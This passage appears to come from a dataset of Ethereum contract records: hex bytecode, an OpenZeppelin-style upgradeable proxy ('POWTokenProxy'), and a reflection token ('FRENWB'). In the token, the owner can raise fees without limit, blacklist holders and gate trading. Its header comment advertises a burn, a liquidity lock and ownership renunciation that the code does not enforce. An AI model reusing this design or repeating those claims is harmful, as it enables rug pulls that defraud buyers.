60200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a7230582061d97df6cd7fe87779d9fa28992d2fb80b4429a67017241e906d53439973c7c90029
|
{"success": true, "error": null, "results": {}}
| 4,261 |
0xd77e6bdb5f61bf6d6abb1e8545bcb8ccb2414550
|
pragma solidity ^0.5.0;
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library ZOSLibAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(ZOSLibAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "org.zeppelinos.proxy.admin", and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin"));
_setAdmin(_admin);
}
}
contract POWTokenProxy is AdminUpgradeabilityProxy {
constructor(address _implementation, address _admin) public AdminUpgradeabilityProxy(_implementation, _admin, new bytes(0)) {
}
}
|
0x60806040526004361061004a5760003560e01c80633659cfe6146100545780634f1ef286146100a55780635c60da1b1461013e5780638f28397014610195578063f851a440146101e6575b61005261023d565b005b34801561006057600080fd5b506100a36004803603602081101561007757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610257565b005b61013c600480360360408110156100bb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156100f857600080fd5b82018360208201111561010a57600080fd5b8035906020019184600183028401116401000000008311171561012c57600080fd5b90919293919293905050506102ac565b005b34801561014a57600080fd5b50610153610382565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101a157600080fd5b506101e4600480360360208110156101b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103da565b005b3480156101f257600080fd5b506101fb610553565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102456105ab565b610255610250610641565b610672565b565b61025f610698565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102a05761029b816106c9565b6102a9565b6102a861023d565b5b50565b6102b4610698565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610374576102f0836106c9565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d806000811461035b576040519150601f19603f3d011682016040523d82523d6000602084013e610360565b606091505b505090508061036e57600080fd5b5061037d565b61037c61023d565b5b505050565b600061038c610698565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103ce576103c7610641565b90506103d7565b6103d661023d565b5b90565b6103e2610698565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054757600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561049b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061081c6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104c4610698565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a161054281610718565b610550565b61054f61023d565b5b50565b600061055d610698565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561059f57610598610698565b90506105a8565b6105a761023d565b5b90565b6105b3610698565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610637576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806107ea6032913960400191505060405180910390fd5b61063f610747565b565b6000807f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c360001b9050805491505090565b3660008037600080366000845af43d6000803e8060008114610693573d6000f35b3d6000fd5b6000807f10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b60001b9050805491505090565b6106d281610749565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007f10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b60001b90508181555050565b565b610752816107d6565b6107a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180610852603b913960400191505060405180910390fd5b60007f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c360001b90508181555050565b600080823b90506000811191505091905056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a265627a7a72315820d292c0bb185c1aa3d127f805d8e4e712abc0745b74f200d9bb4294b624024f6564736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 4,262 |
0xcdea131dfdba8960bf42592e088676c601fe0ae7
|
/*
// what's even better than being frens? being frens with benefits! based on the highly successfull coin FREN, FRENWB will benefit all frens holding the token with a 5% redistribution on every transaction.
// Telegram: https://t.me/frenwb
// 50% burn
// 5% redistribution on tx
// 5% dev fee
// Liquidity lock & ownership renounce
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FRENWB is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "frens wit benefits";
string private constant _symbol = "FRENWB";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 5;
uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _redisFeeOnSell = 5;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xcfD91c5b69aEb92814CDE44155309C4344642069);
address payable private _marketingAddress = payable(0xcfD91c5b69aEb92814CDE44155309C4344642069);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 750000000000 * 10**9; //0.75
uint256 public _maxWalletSize = 1000000000000 * 10**9; //1
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612cd6565b6106e0565b005b34801561020657600080fd5b5061020f610830565b60405161021c919061311f565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612c9a565b61086d565b60405161025991906130e9565b60405180910390f35b34801561026e57600080fd5b5061027761088b565b6040516102849190613104565b60405180910390f35b34801561029957600080fd5b506102a26108b1565b6040516102af9190613301565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612c0f565b6108c3565b6040516102ec91906130e9565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612c5e565b61099c565b005b34801561032a57600080fd5b50610333610b1f565b6040516103409190613301565b60405180910390f35b34801561035557600080fd5b5061035e610b25565b60405161036b9190613376565b60405180910390f35b34801561038057600080fd5b50610389610b2e565b60405161039691906130ce565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612b81565b610b54565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612d17565b610c44565b005b3480156103fd57600080fd5b50610406610cf5565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612b81565b610dc6565b60405161043c9190613301565b60405180910390f35b34801561045157600080fd5b5061045a610e17565b005b34801561046857600080fd5b50610483600480360381019061047e9190612d40565b610f6a565b005b34801561049157600080fd5b5061049a611009565b6040516104a79190613301565b60405180910390f35b3480156104bc57600080fd5b506104c561100f565b6040516104d291906130ce565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612d17565b611038565b005b34801561051057600080fd5b506105196110ea565b6040516105269190613301565b60405180910390f35b34801561053b57600080fd5b506105446110f0565b604051610551919061311f565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612d40565b61112d565b005b34801561058f57600080f